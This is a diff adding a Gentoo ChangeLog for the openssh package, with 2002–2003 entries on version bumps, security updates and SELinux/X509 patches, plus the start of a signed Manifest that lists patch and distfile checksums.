+  23 Sep 2003; <solar@gentoo.org> openssh-3.7.1_p2.ebuild:
+  security update. http://www.openssh.com/txt/sshpam.adv
+
+  19 Sep 2003; Chris PeBenito <pebenito@gentoo.org>
+  openssh-3.7.1_p1-r1.ebuild, openssh-3.7.1_p1.ebuild:
+  Fix SELinux patch for 3.7.1_p1
+
+  19 Sep 2003; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p1-r1.ebuild :
+  Disabled selinux patch until a new can be made.
+  Fixed some of the patches to allow the X509 patch to apply. Closing #29105.
+
+*openssh-3.7.1_p1-r1 (18 Sep 2003)
+
+  18 Sep 2003; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p1-r1.ebuild :
+  Removed krb4 and afs support since they are removed according to the Announcment.
+  Ebuild cleanups.
+  Added a bunch of patches from CVS. Among them a fix for CAN-2003-0682.
+
+  18 Sep 2003; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p1.ebuild :
+  Readd X509 patch. Closing #28992.
+
+*openssh-3.7.1_p1 (16 Sep 2003)
+
+  16 Sep 2003; Rajiv Aaron Manglani <rajiv@gentoo.org> openssh-3.7.1_p1.ebuild:
+  added warning about restarting sshd.
+
+  16 Sep 2003; Mike Frysinger <vapier@gentoo.org> :
+  Another version bump ! :D #28927.  This fixes 'more malloc bugs'.
+
+*openssh-3.7_p1 (16 Sep 2003)
+
+  16 Sep 2003; Rajiv Aaron Manglani <rajiv@gentoo.org> openssh-3.7_p1.ebuild:
+  added warning about restarting sshd.
+
+  16 Sep 2003; Mike Frysinger <vapier@gentoo.org> :
+  Version bump to fix #28873 ... selinux needs to be caught up though :(.
+  Marked stable due to nature of release (security).
+
+*openssh-3.6.1_p2-r3 (05 Sep 2003)
+
+  05 Sep 2003; Tavis Ormandy <taviso@gentoo.org> openssh-3.6.1_p2-r3.ebuild:
+  adding optional s/key authentication support, using new local USE flag
+  `skey`, currently ~arch only. #11478
+
+*openssh-3.6.1_p2-r1 (06 Aug 2003)
+
+  06 Aug 2003; Donny Davies <woodchip@gentoo.org> openssh-3.6.1_p2-r1.ebuild:
+  Added new local USE=X509 variable which includes Roumen Petrov's patch
+  providing support for authentication with X.509 certificates.
+
+  31 May 2003; Brandon Low <lostlogic@gentoo.org> files/sshd.rc6:
+  Add 'use dns logger' to the rcscript
+
+*openssh-3.6.1_p2 (30 Apr 2003)
+
+  30 Apr 2003; Daniel Ahlberg <aliz@gentoo.org> openssh-3.6.1_p2.ebuild :
+  Security update.
+
+*openssh-3.6.1_p1 (02 Apr 2003)
+
+  02 Apr 2003; Brandon Low <lostlogic@gentoo.org> openssh-3.6.1_p1.ebuild:
+  Bump
+
+*openssh-3.6_p1 (02 Apr 2003)
+
+  02 Apr 2003; Brandon Low <lostlogic@gentoo.org> openssh-3.6_p1.ebuild:
+  Bump, required some modifications to the selinux patch, test thoroughly
+
+  09 Feb 2003; Guy Martin <gmsoft@gentoo.org> :
+  Added hppa to keywords.
+
+*openssh-3.5_p1-r1 (20 Jan 2003)
+
+  30 Mar 2003; Joshua Brindle <method@gentoo.org> openssh-3.5_p1-r1.ebuild:
+  fixed compile options for selinux support
+
+  20 Mar 2003; Joshua Brindle <method@gentoo.org> openssh-3.5_p1-r1.ebuild:
+  added selinux support
+
+  15 Mar 2003; Jan Seidel <tuxus@gentoo.org> :
+  Added mips to KEYWORDS
+
+  13 Mar 2003; Zach Welch <zwelch@gentoo.org> openssh-3.5_p1-r1.ebuild:
+  add arm keyword
+
+  09 Mar 2003; Aron Griffis <agriffis@gentoo.org> openssh-3.5_p1-r1.ebuild:
+  Mark stable on alpha
+
+  01 Mar 2003; Brandon Low <lostlogic@gentoo.org> openssh-3.5_p1-r1.ebuild:
+  make -> emake
+
+  21 Jan 2003; Nick Hadaway <raker@gentoo.org> openssh-3.5_p1-r1.ebuild :
+  Changed USE="kerberos" to depend on app-crypt/krb5 as heimdal is not
+  compatible currently.  Install app-crypt/kth-krb and set KTH_KRB="yes"
+  to enable Kerberos IV support.
+
+  20 Jan 2003; Nick Hadaway <raker@gentoo.org> openssh-3.5_p1-r1.ebuild,
+  files/digest-openssh-3.5_p1-r1 :
+  Added kerberos use flag support.
+
+  09 Dec 2002; Donny Davies <woodchip@gentoo.org> openssh-3.5_p1.ebuild,
+  openssh-3.4_p1-r2.ebuild, openssh-3.4_p1-r3.ebuild : Add a shells reminder.
+
+  06 Dec 2002; Rodney Rees <manson@gentoo.org> : changed sparc ~sparc keywords
+ 
+  01 Dec 2002; Jack Morgan <jmorgan@gentoo.org> openssh-3.5_p1.ebuild :
+  Removed ~ from sparc/sparc64 keywords.
+
+  29 Nov 2002; Daniel Ahlberg <aliz@gentoo.org> openssh-3.5_p1.ebuild :
+  Rewrote patch applying code.
+
+  22 Nov 2002; Will Woods <wwoods@gentoo.org> openssh-3.5_p1.ebuild:
+  Added patch to fix compile problem on alpha.
+
+  23 Oct 2002; Maik Schreiber <blizzy@gentoo.org> openssh-3.5_p1.ebuild: Changed
+  "~x86" to "x86" in KEYWORDS.
+
+*openssh-3.5_p1 (18 Oct 2002)
+
+  19 Jan 2003; Jan Seidel <tuxus@gentoo.org> :
+  Added mips to keywords
+
+  18 Oct 2002; Daniel Ahlberg <aliz@gentoo.org> openssh-3.5_p1.ebuild:
+  Version bump, found by fluxbox <fluxbox@cox.net> in bug #9262.
+
+*openssh-3.4_p1-r3 (04 July 2002)
+
+  25 Jul 2002; Nicholas Jones <carpaski@gentoo.org> openssh-3.4_p1-r3.ebuild:
+	
+  Bopped Brandon on the head. Added -passwords to the end of --with-md5
+  No version bump as this doesn't affect most people, and those who need it
+  can just rsync and emerge.
+
+  09 Jul 2002; Brandon Low <lostlogic@gentoo.org> openssh-3.4_p1-r3.ebuild:
+
+  New revision enables md5 passwords, please test and let me know how it
+  goes so I can unmask.  Thanks.
+
+*openssh-3.4_p1-r2 (04 July 2002)
+
+  09 Jul 2002; phoen][x <phoenix@gentoo.org> openssh-3.4_p1-r2.ebuild:
+  Added KEYWORDS.
+
+  04 July 2002; Brandon Low <lostlogic@gentoo.org> openssh-3.4_p1-r2.ebuild:
+  Fixes problem of /var/empty being removed if immediately do emerge openssh
+  emerge openssh.  Not an urgent upgrade, but recommended.
+
+*openssh-3.4_p1-r1 (02 July 2002)
+
+  02 July 2002; Brandon Low <lostlogic@gentoo.org> openssh-3.4_p1-r1.ebuild:
+  This closes bugs 4169, 4170, and 4193.  This new ebuild changes the sshd
+  user from whatever it may be to UID 22, this shouldn't mean anything to most
+  people because no scripts, nor programs use the sshd UID directly (for that
+  matter it is only referenced during authentication of new logins via ssh). 
+  However if for some reason your system does have things that were owned by
+  user sshd, you will need to change their UID.
+
+*openssh-3.4_p1 (26 June 2002)
+
+  26 June 2002; Brandon Low <lostlogic@gentoo.org> :
+  New version closes soon to be released security hole, PLEASE upgrade
+	immediately according to the changelogs, this new version closes several
+	possible holes found during a massive audit of the code.
+
+*openssh-3.3_p1 (22 June 2002)
+
+  22 June 2002; Donny Davies <woodchip@gentoo.org> :
+  Chase latest release.  Starting with this version sshd uses a new privelaged
+  process separation scheme.  See the docs for more info.
+
+*openssh-3.2.3_p1-1 (5 June 2002)
+
+  5 June 2002; Gabriele Giorgetti <stroke@gentoo.org> :  
+  New revision. Changes submitted by Alson van der Meulen gentoo@alm.xs4all.nl
+  within bug #3391 were added. Bug closed/fixed.
+
+*openssh-3.2.3_p1 (30 May 2002)
+
+  30 May 2002; Arcady Genkin <agenkin@thpoon.com> :
+  Update to 3.2.3.
+
+*openssh-3.2.2_p1 (18 May 2002)
+
+  18 May 2002; Donny Davies <woodchip@gentoo.org> :
+  Chase latest release + update openssl dependency.
+
+*openssh-3.1_p1-r2 (03 Apr 2002)
+
+  03 Apr 2002; Daniel Robbins <drobbins@gentoo.org> files/sshd.pam: new pam
+  sshd file to use pam_stack, pam_nologin and pam_shells, as well as use
+  pam_unix instead of pam_pwdb.  Added updated shadow dependency if pam is
+  enabled (to depend upon our new shadow with the pam_pwdb to pam_unix
+  conversion).
+
+*openssh-3.1_p1 (7 Mar 2002)
+
+  15 Mar 2002; Bruce A. Locke <blocke@shivan.org> files/sshd.rc6, files/sshd.rc5:
+  ssh1 keygen requires a new option in the initscripts
+
+  13 Mar 2002; M.Schlemmer <azarah@gentoo.org> openssh-3.1_p1-r1.ebuild:
+  Update rc-script not to fail on restart if there is open sessions.
+
+  7 Mar 2002; F.Meyndert <m0rpheus@gentoo.org> openssh-3.1_p1.ebuild:
+  Updated openssh to version 3.1 that fixes a nasty off by one bug in all
+  previous version. That caused a local root hole.
+
+*openssh-3.0.2_p1-r1 (01 Feb 2002)
+
+  01 Feb 2002; G.Bevin <gbevin@gentoo.org> ChangeLog:
+  Added initial ChangeLog which should be updated whenever the package is
+  updated in any way. This changelog is targetted to users. This means that the
+  comments should well explained and written in clean English. The details about
+  writing correct changelogs are explained in the skel.ChangeLog file which you
+  can find in the root directory of the portage repository.
diff --git a/net-misc/openssh-x/Manifest b/net-misc/openssh-x/Manifest
new file mode 100644
index 00000000..2967b1d5
--- /dev/null
+++ b/net-misc/openssh-x/Manifest
@@ -0,0 +1,96 @@
+-----BEGIN PGP SIGNED MESSAGE-----
+Hash: SHA256
+
+AUX openssh-4.7_p1-GSSAPI-dns.patch 4494 SHA256 88a08f349258d4be5b2faa838a89fe1aa0196502990b745ac0e3a70dda30a0d7 SHA512 4d00a9ed79f66b92502c3e5ee580523f63d7b3643fe1bd330ff97994acce527d4d285d38199cef66eddc0ef68afabf7b268abc60cba871bac5d2e99045d4ac11 WHIRLPOOL 2f118fd2f016c529dbc31e8f2b6b418931e6770ab02c28b7feeaba93e84e7fcd1c742f4420a43a9fec0bdfaa4d4bc7cf14fb860c0a56c68a30e7b136fb60bcdb
+AUX openssh-5.2_p1-autoconf.patch 386 SHA256 42bb5f23f02241186abd6158ac15cd1fba0fadb4bd79e6b051fbd05605419ebb SHA512 80a2244e243492d3933646a32fa673078efd72d0e87939b326c2210f23d72675839cfefa2f31617279d51834cc34daf2c3c189c9d92b08875b6b4f68fa7f3844 WHIRLPOOL d4ca3dd8554863d074054489a2dbe5aca3d07fcc5858e908caa5d76dcf8beb661cc3ca6d22a02ab2ca9f504160a6a1acc7f45a4fa775d879b02ee1ae3d113926
+AUX openssh-5.2_p1-gsskex-fix.patch 408 SHA256 8190db31ed2e8dc6ce79030e5c648d04610b06dd8366df5948ef6e990314ee96 SHA512 2022cd25b3e07430752569e07165db313e49a0902ef251df3e50ca96197849be6efbdee360a3a435cae0b5d2dda55acc8676b232d3584f87e204c2fc04b92801 WHIRLPOOL 65da9f3450493ca9a25741e66b2ecf97d7a5576c15485ff3a7c08fc57b06a17b3b6e73b14d2962bf958d9326a6d54c2940f56eb42de4bd5011324bba84c67cca
+AUX openssh-5.2_p1-x509-hpn-glue.patch 2851 SHA256 a21336a892b61e29a556d16e9f0a67ee08ad04dd61e3963a201fdf032ce55f75 SHA512 417617acba409539cd2edd59e7640fe732f90265f70d7f4cd91c8b059d44c9c1be63cf336ee3a39a45f1a066bc577e261836b8113296535b9320d77fed3a05bf WHIRLPOOL 901fd8e0ceafd27bd5fdca9007b82842dce2b5aee11c069d0f0229c4568886f0df861c80eb5b3a754a0af795ebb9c78a78a3e76002f17bdbf8349923439deecf
+AUX openssh-5.2p1-ldap-stdargs.diff 252 SHA256 97281375efa33e9ce70a55bfa95b6b426208175e7e3ff493012bc25d9b012f45 SHA512 2577b1476211f563bf8a7e62c2341e35cff7208a04b7a3fb1d331721e58f395cdef1ce2ac735b95c31781e06e16ec27c6692df09928393248c971837a1e03079 WHIRLPOOL df65dd54dd12be39fb4b830536f86aef97c086b227de1d87d56788bf8bce39a345da0ed814dd53abdaa5d158c99f0b87cb8510812d10c353a3b8a82493b210af
+AUX openssh-5.4_p1-openssl.patch 255 SHA256 f83627039491e9969f1ed5d77fe816465ce75809e8c2f2bfb07012bc21384347 SHA512 8cfd757dbe79ee502c10c5d518730f4e790bd61753120bb168d545dfc702a7a55c274fd9c81d2798ec78cba30f173aaf0bee1f15bb23f9f465c3524a5c81ca2d WHIRLPOOL 852f3e9dc6cd05934b52effa03961a0d989734a28649eb199e1f260d4e8129dffed378d8efdbd40a5f520362fe8fa404a744724135caa39f48e876849cf2350b
+AUX openssh-5.6_p1-hpn-progressmeter.patch 334 SHA256 eaa98f954934364a1994111f5a422d0730b6e224822cef03efe6d6fc0c7f056f SHA512 46eb5253549ddca045e67841daa092a8a33a6ae4411e75c301589f0a88159c6d2ccfe45c2f0502314465b93ac6f1965264a9b92b13e0e88d4ff15ced5f4ebfeb WHIRLPOOL 72b05e4243e746fc315468ac1dc8988b92919dbd147470855b8753e0ae37ad3696de6c9ec29346596aee2d60acbbcce79cea5735b9a91b3452a4b4f3f69d3012
+AUX openssh-5.6_p1-x509-hpn-glue.patch 1974 SHA256 164db7af08e0565821d6d609b1beadab39777521bfff143a83acc1e097ad60f1 SHA512 a764d8411f0b7c49d6f51b25153c18648d58dfbc82897903bad826293f3497010ab0343e4a4cc81b37e51c3a28ec04cd5be7c8882126295ba2b38e734e262995 WHIRLPOOL 4a8151dde306eace1404b8e83dc2514cb8f073acb6c759b9a2a9e619181951873afad785f565861f6d1031d9314f8d450faef63629dfd5f1b0074cb78b059578
+AUX openssh-5.7_p1-x509-hpn-glue.patch 1888 SHA256 30f63dea0e810d92790ddaf9813f0b8dec1e827a39e1752faff6bb41382f3c1b SHA512 db839f3cf3c67ef28290551810dc5c8937d1ef401f48ed937165b57191e75944adb25ab36cbf30289f7fc0076ec192c030e40fb5a744c63932b414e49b99946a WHIRLPOOL 2e539c49ef613e2a9912011ac289036381f8fd8d8ff5f2e0088dd3443a1c7fd86c3efe2b2041736bf67b73c8b4b298208de183945dc68c73ad6f35c41fb8a619
+AUX openssh-5.8_p1-selinux.patch 433 SHA256 0de250c75f4dae78406e5151f563bd104b8e7792a825515510e095fb47462cfd SHA512 e6c89eb26b4bc651503ab81d346e780fdec3056302c5e2d8a6be5892fa514f83093370c463aae88091dc20d30013fd32250e040649147797bcca69ddc7d05ae3 WHIRLPOOL f72ccd773b9ff7a897940afddcb38ba9512e0830c33a2381886d2698e0ae0c6a7db9678326945bdf6769acc21d3e4bf8a196161114805d4570af2819e610df84
+AUX openssh-5.8_p1-x509-hpn-glue.patch 1907 SHA256 7ab452c02b141645b764d404aa3de0754ab240a64601a6bb587919673f957682 SHA512 317c04fab93aaf82685e54335c876b2399623ef69428297c2e5934d45f69f0e78a89c79ad7bb186ef12a779ebf0f088ca142d6a426baeb32b166ceca8098572d WHIRLPOOL 34fdef826750070d112dc6c1bf84de11ebfa646fb5cbfb9f76d13dab925cff94996ed51cfdcba4e0b536915883bb4728756b79db157c019ba951ee1a32c18fe3
+AUX openssh-5.9_p1-drop-openssl-check.patch 848 SHA256 89b011e27548b9922deed63ed57a6c94ea8013bb3bfb4d6590ba43d284a2ab86 SHA512 bbcbb61b6fea194e7ee3862a5b462d48ce4cf4fec12cc8a8564fc5fc8f840dca2b4ddf301bf9d12bcbfd3922948023320ea660a8c194d57bf2b1e9d095fc8eb2 WHIRLPOOL dc8e140d2bfe59546b944236ebcc702cd4a19ed5c6ee24d590bb0d50221069666b3797cf1717e6090d12525b3310cd963537e4c2c413bb2692ec85dcb2d33b43
+AUX openssh-5.9_p1-sshd-gssapi-multihomed.patch 6622 SHA256 f5ae8419023d9e5f64c4273e43d60664d0079b5888ed999496038f295852e0ae SHA512 ffa45e97e585c8624792e039e7571b2bb5f38e4554de8bfc1d532f3348fa4a712ea1b6ca054e6a59ed1321a15cf1a9d3bdf3f399cec315346db89bae77abf57d WHIRLPOOL cc4871e3fb91a8075a13b5e49d7d3e0e83106bae0820ae3cf19d3427aad3d701b8f25b2cc2cc881a6315f8e5114fb82da9ca335acccb24afe221d66574fb7685
+AUX openssh-5.9_p1-x509-glue.patch 569 SHA256 579ef6409878cea36828057a82a37232ba230af0acb58438f020c284f06a6510 SHA512 534697c03837c8a6084348245722b8730b2547d0e2adca274077fcac295e13e8f2d8ae4cd788fc1c58824fc7b591e731e02d43873fdbe5f20ca1a87fa3060886 WHIRLPOOL 9dd0de494ba2c4a2dc1577e48ae8a63d95c794981ce1aa8d8f0d7fe464e489763f9af042ebecb6428c70cce56ae0b5ca93904669403bd9cc0e61e34989b82462
+AUX openssh-6.0_p1-fix-freebsd-compilation.patch 546 SHA256 4cee4d0b68a847b7686309ddc92f86fc36254d6e864682225143a28fc91e6187 SHA512 f9b783f76212ded27181b0a5ab8b4efc999a9960a020de54f109dad01a3e49b126a9c59da2286e565717f9e68991d2275e0872d54406f2c56a37d4dd439d92e4 WHIRLPOOL d0307e8e2a464914c9f4b2c790d72ff94eddc776986f0a847e04abede59feb6339bd256fe3dc831b362cb8e7f4e3cdb763a5c3c834f1fd7c32e4325cfb91ce63
+AUX openssh-6.0_p1-hpn-progressmeter.patch 379 SHA256 fb38d9d16132fcc16fb2648bce21e2260fb5cadf0ae2e2a7849638aeb79d3dc7 SHA512 4885f49f38c8a3afdef2ba63f324601214810aef8bbac89c926edca9edc8998f49f5060f1070ee0278ef7cdcdd7329a9b9fa37d1466e32cd2dc81edcdee50f51 WHIRLPOOL f73843d69f9aacea93a965eafecd16a037dae996d879d4b755831413321e3ed1e3e3167eff716a4ae836698b4e51c740bbfcca48033cb1dd4353f8599296272e
+AUX openssh-6.0_p1-test.patch 780 SHA256 c5893911cec3eecf84dc13bddbefbe1e1053db11e65a909b5f28eacbdd88a29c SHA512 733ee29c64f2469678ca0a4056332d43179cfe73d7efdd0c3c4b24da75baa74b7661e5039bd6fdbb0a375ae5ad5b60353c715946bb59d477ea0c5efaf70b1697 WHIRLPOOL a98055e2634eea3421dc2117a19e0548dae9b4705f7681e45bd4f33e3782f2ec22097de7f7ed4507d1ba5ed983d10499b786347688fadb6e803d20ea86bd7a02
+AUX openssh-6.0_p1-x509-glue.patch 569 SHA256 8c9048a33036a93f56e254cfd53b18313682d466deadfdcd8937a46793617900 SHA512 ad0c0cc7745a80dcc59e671f98608c0bdadf276449352615e738fe7f2e740e0f68713320c48b88b3b4565fd7e1f1a5653a0965e247bec68011c4eff72a9ffece WHIRLPOOL dde2aa90d6a19aeae8b6ad9586a10ac6b9c0e7b9e30f3e1d511bf7b938a299c75cc5771c8bc22ce6b6582ca7ea4804e545c463546580eacbcd38fa664841add1
+AUX openssh-6.0_p1-x509-hpn-glue.patch 1774 SHA256 b2dcff21652eea92d2ff2640a568070a944e7bfb2bd3217c433e6383a64b0970 SHA512 82793502b8c943f0bd69019ea1cf1172f9579dc6a8f6c91f6aba9a9d743384d5ac84f7a49df07165e252b4ef4fc06b745463bdc58d06da2aca3c7acbb3dd8623 WHIRLPOOL ffd01827dbf8162359cf7a278020f2bfa7ed1ee1051774522623bcf448ffc8a3e28ecff2de5733b352beef5722a9dec2e9bb25fabc7edca615a774f65f756246
+AUX openssh-6.1_p1-x509-glue.patch 573 SHA256 e51aa53e9e0336606fc36af237d50338347b845ee56a66d01f86829c4b46feb6 SHA512 bac2971b6435433d6ac88fb127c178e678fe805f51260454d9d0b631ef52dbafc08343fb307a74a116691545a82f5369dc014e71a7c8c65ba41699b31e1dfb6f WHIRLPOOL dd514ce502f7c7968e8fa526b1b2f7d7945f2d5b5f1f013e54f7513a7c7bf6025dbdeabe566958018db8f7442c9611f7efd435501b4b965b0fe7594e24ee20fc
+AUX openssh-6.1_p1-x509-hpn-glue.patch 1491 SHA256 28c5000f7c8b23afc363d066cf96d39c00882274f227b7743b1e376df8b61a2e SHA512 0d6bab08cc400b81d936883bf39f5a461799874f6ea3dcf55c083372ed379bc0066b913646f7a0e32167079ba85409c272b258de179d55660739df4bbbf30e5b WHIRLPOOL dbfbf8eb0312ae119421e45efd8243b089ab2d3c2bc1f7b7cbd5b56f86844dfe42b27952e4ed88653679ec036f70b8edd3e00f17ae097241fbc88567bab38505
+AUX sshd.confd 396 SHA256 29c6d57ac3ec6018cadc6ba6cd9b90c9ed46e20049b970fdcc68ee2481a2ee41 SHA512 b9ae816af54a55e134a9307e376f05367b815f1b3fd545c2a2c312d18aedcf907f413e8bad8db980cdd9aad4011a72a79e1e94594f69500939a9cb46287f2f81 WHIRLPOOL 69f43e6192e009a4663d130f7e40ee8b13c6eb9cc7d960b5e0e22f5d477649c88806a9d219efef211f4346582c2bb51e40d230a8191e5953dbe08bfff976ae53
+AUX sshd.pam 294 SHA256 f01cc51c624b21a815fb6c0be35edc590e2e6f8a5ffbdcabc220a9630517972f SHA512 3268dc826978fbb205968744d83c6f1c838c9c73bf9c4ceee709c5b4168b4aaf06bcde47a32808571fa71cbc5a6bfdb98406995b2b28c9e633ce392a53932d64 WHIRLPOOL fff8966d66d75cd4d70607585b5de063f225a776b73b8b0f8146c5eed6c8ffd2ca38c46f86fa4e2ca8caafcde7797a3f0b177e60baa6fa0642064080883fa68a
+AUX sshd.pam_include.2 156 SHA256 166136e27d653e0bf481a6ca79fecb7d9fa2fc3d597d041f97df595f65a8193c SHA512 d3f7e6ca8c9f2b5060ebccb259316bb59c9a7e158e8ef9466765a20db263a4043a590811f1a3ab072b718dbd70898bc69b77e0b19603d7f394b5ac1bd0a4a56c WHIRLPOOL ba7a0a8c3bb39c5fda69de34b822a19696398e0a8789211ac1faae787ee34f9639eb35efe29c67f874b5f9fe674742503e570f441c005974f4a0c93468b8970b
+AUX sshd.rc6 2189 SHA256 627125378ccfdd81289531f527346980da249d35499cb71518f88f1452f4c098 SHA512 b2981a6dd9b83a21c718bb4dbfe88a0f1157bc764d1795291a381e380b40141719e5e5cf0cbd89845e81a7e9b0b4fdf938a55ff80ae4b5cac1969189aefa2b1d WHIRLPOOL 136497f366686ae25d78b11c17d4f9235d8980a8a147b380c00c281adaa91940f82a709b7da312736608e3b3ce3a2dbca465a2010f27e9562389de98be5885cf
+AUX sshd.rc6.1 2270 SHA256 153119116208d328c496d29b7cb9f85991df93020cc50c83b05ed498b10a2126 SHA512 80f0e460ad7ffd9a6fb279ce2d307cbda1f7352745ffaca381867f636ae64df336a03de0da15aca39619acdbebf41e2ccbd2bb233433f93625754965aaaab780 WHIRLPOOL 6b7a4519282fe99fc36cd0f89f6163ad9c8c9d998b15e84d3758af607627db48cf58ffee1bc4291ac0e7f75455f8f8873cd5d996f3c75f1ea3bef0b249abdffe
+AUX sshd.rc6.2 2069 SHA256 94b1fc0d608464fd4a6c7ed23f0b9c44aada3404982d8fd25b8bfe202baffaa6 SHA512 f75f95e6cf912b8c45f7ccf81e764805a56057368b18425abe699b29c3c66d32ea5b2d1c9f6fadf97487430e703e01dc2d965e41b8511f31a3e06d3bcbbc1006 WHIRLPOOL b9082ba3854e1842e057717b9a1571ba5ac6bf69c5facb391b7a3d890b13f879d7ae1484eafbbffc17746c3a8184f23e4c3fa831f678eabdea7d23e2c0d1bf63
+AUX sshd.rc6.3 2057 SHA256 43d95b495440ed6b3c1eb82b81712d7f6e58246527605c11d733cb5eb5523254 SHA512 3ddcdeae6c7f4755df1f8fe77d9d1af8c728f8cc18da0feaeccc4b8147f86b4db1ab1bf4ad362c31fac986270b21fe2c80e0414d64f70bfdac2370e22c2c9db2 WHIRLPOOL 57a18d85ab77abe64eddf852975481d974bd68b0b058d854a31158aed14b1706743ad563aa013c770aa124533fb5344bc64d0c06b564e1b53e28e1b0ebe463e8
+AUX sshd.service 206 SHA256 093d4f526e740cbec46ad6a69207407daf01e74da44599d75b979f294c9b0a7b SHA512 67d96a63a6bc874bacc2f43b51c003f2209a4d2283f8435ba3495266e4823d73962fd995f46eab0e8b260107b9a8c416709b2f19e8e94ecea30ddd8280444cfe WHIRLPOOL b48005444104583bd230e68f870a1d0c4a8709f5e8f7fafa45becf259df64052b1938853e8e232b32aae882dbad83d5c78d7796eafb6c02bd0196f7a6a44075f
+AUX sshd.socket 136 SHA256 c055abcd10c5d372119cbc3708661ddffccdee7a1de1282559c54d03e2f109d9 SHA512 4d31d373b7bdae917dc0cf05418c71d4743e98e354aefcf055f88f55c9c644a5a0e0e605dbb8372c1b98d17c0ea1c8c0fee27d38ab8dbe23c7e420a6a78c6d42 WHIRLPOOL 102d87b708c31e5994e8005437c78b1aa756c6def4ee9ae2fa9be1438f328fc28c9152a4ff2528941be18f1311594490ecd98b66716ec74e970aa3725a98e2e5
+AUX sshd_at.service 176 SHA256 332f5ffc30456fe2494095c2aabd1e6e02075ce224e2d49708ac7ccf6d341998 SHA512 662a9c2668902633e6dbcb9435ac35bec3e224afdb2ab6a1df908618536ae9fc1958ba1d611e146c01fddb0c8f41eefdc26de78f45b7f165b1d6b2ee2f23be2a WHIRLPOOL aeb32351380dd674ef7a2e7b537f43116c189f7fddb8bdb8b2c109e9f62b0a73cc0f29f2d46270e658ab6409b8d3671ce9e0d0ba7c0d3674c2f85291a73e6df1
+DIST openssh-5.4p1-hpn13v7-x509variant.diff.gz 22941 SHA256 c2b1a81c6952ae73cc4dfd1528d560588c45cf1242ea8b0e6eadb0cc83b50377 SHA512 12410d69c8c2484aeabd8598604c26c7ba3a594f85feeebda2290b9091b058840613c791e4eabcf8605682ff78c7cc03cb8ac7294156c2f8ed64f34dc10e4271 WHIRLPOOL 5a2a1bb540ca390f6e75cfb8e24f043e1f18c9b48b03c2c9429f5e75606c39dd596e63dc31821e4b6a4559a7f782024113365c1647a611eb3395ecf723461a5f
+DIST openssh-5.5p1+x509-6.2.3.diff.gz 156737 SHA256 a2fdf904c21036fe6ee89da7572a37f4763ef414348f9a953c7c7e0fb3562a7f SHA512 9b1e327f298b44064ca212e3dd051a6631126719dbe34af3fa7e42026bc00a747f6476a6bd8c90fa54e08e8d6958f163e8403945bc3c51225555e6ab549297f9 WHIRLPOOL c9a8b04fd01d0487b031d4864cd3da16feafa39d103f21cafe838c1f70dedca00c01f0184bbead230a1875fbbfe8e4bac2ec3d03d01ea58cbf413cd6ea5e6548
+DIST openssh-5.5p1-hpn13v9.diff.gz 22657 SHA256 0556ad75cbd29cba71263a5b7ddc44c03d17c09297a6c41a16d39d3549e5079c SHA512 14c98066a5d822d61b4beadecd6ed097e66aa725933748c324450752c50e834f1b48a4e44be6e74aab58a12c80596fae4299e455094751684e540b86620c451a WHIRLPOOL 38bc75f094f3f8f45b81a707d4ee06a3a0e2e0647ba1e87508765867c4bb50e5b9e88a1e41a48a89ee79d3e390874a2d6fab96f310dbad736c98604c4bc0805c
+DIST openssh-5.5p1.tar.gz 1097574 SHA256 36eedd6efe6663186ed23573488670f9b02e34744694e94a9f869b6f25e47e8a SHA512 548c0c552c63498c4d424940161cb504b88c6872d2d8514c09100856656ce1f5d59adc378307a306bb86254032a24ad69bc9794695893c453fee625062ba615c WHIRLPOOL fef34167b71ff2c8cf67506cfe8d9caf63c830933ca77674fd6b244b96da6221d14838d6e67884020c627cdc01cc913965b1ba9ec0ce415e76131fc1edde62db
+DIST openssh-5.6p1+x509-6.2.3.diff.gz 168109 SHA256 90977eded2ae5e71bc3b84aad8597442074742d78d471087d020e58dd58342ad SHA512 029b3e1ae8d7e01b17cbbb4d01c0798e5857dc2f144b4e7a5c70f65fe8de605d29a9ac29f4a26d0495f1abbfed24bafd7ac211bc550f558a0adf64a64415bca9 WHIRLPOOL 53a8b66857e45358a0d973dd1f9884ead1f41d3b2794e0bc6f78bdda33507ae2da3cf6f51d53470159e00992042b2ef3d67a8fb71ceef658c386732e3e88f709
+DIST openssh-5.6p1-hpn13v10.diff.gz 22988 SHA256 6a9ee815e8ffcc9068c3dce4ad4f2898fc0db6b768a3152280aceb8c06c8b450 SHA512 d752f6fc924c8b390a58bffea877f4e8a98eb93dac07ba749d3ccef1de4ee75f5116c186ab18d093ef0ae0d63e4f435cf41a1c1a9bd85cd1d0e8be90e060ebc2 WHIRLPOOL b7f4e8f35698510c7fdbd01d7d656e75bba715d3c2cc31eb7fc54d4158b4a346e17be3d1e2f6b7642c7e0a12d8996ccdf217a1856062c88d43a4e4f62f25f412
+DIST openssh-5.6p1.tar.gz 1117952 SHA256 538af53b2b8162c21a293bb004ae2bdb141abd250f61b4cea55244749f3c6c2b SHA512 81bcb84244524c8046f977f35d1dba40b29324033db7590e3439494812038d1e2c1f7082c64488f0f7838f80b7fbbe133b95675ee23aa66a5d036a28a7882c97 WHIRLPOOL d6c8126b08d4287d2b846a7669cb7b7cb361ce5cab9719df30f243ecc04de5657572165bf2165a8d65d79c0464e91385ffa45ef30cba3bf4047dc6ce3580a317
+DIST openssh-5.7p1+x509-6.2.4.diff.gz 170001 SHA256 86af445d27be112318e95c4a188593b171a34b100e2187ef12a116c95e36c51d SHA512 a60e9c13829fbf8e2c3cf805d6de6c12fe7d3e77b0e889f56f08d0edc2e89b911ddd763f6660c193465dfb220c8f48d29257a068b69a0659b7e177739a0bd8c6 WHIRLPOOL d4b9012905117d034d2dbdf16342fc17c0e5f8326b2fa49244aa341746c382925608527d75ad6dbaaafc9a0d0083a9742b422d897363ab9f7a91a4269d6b4c1c
+DIST openssh-5.7p1-hpn13v10.diff.bz2 20132 SHA256 fc6518ea065841cec96a503207bd6f927c65234862ec13a44c3c13cb978bfa57 SHA512 20fde13375f123ca17d8faa5ed384cfd241695d606beba26f68ae966d6db6e551376d29e54b8221e918668e01995829c9217d3c835d005ebd5723000c2e54cb8 WHIRLPOOL 6a4fba0f711297b06c44449461797f3c0604de093b2a079aecaf59a2aa9cecdfdeb3c6bdec13138fdc4ffb5e7f64114e2669af89756d54a225730ad4415eb1f2
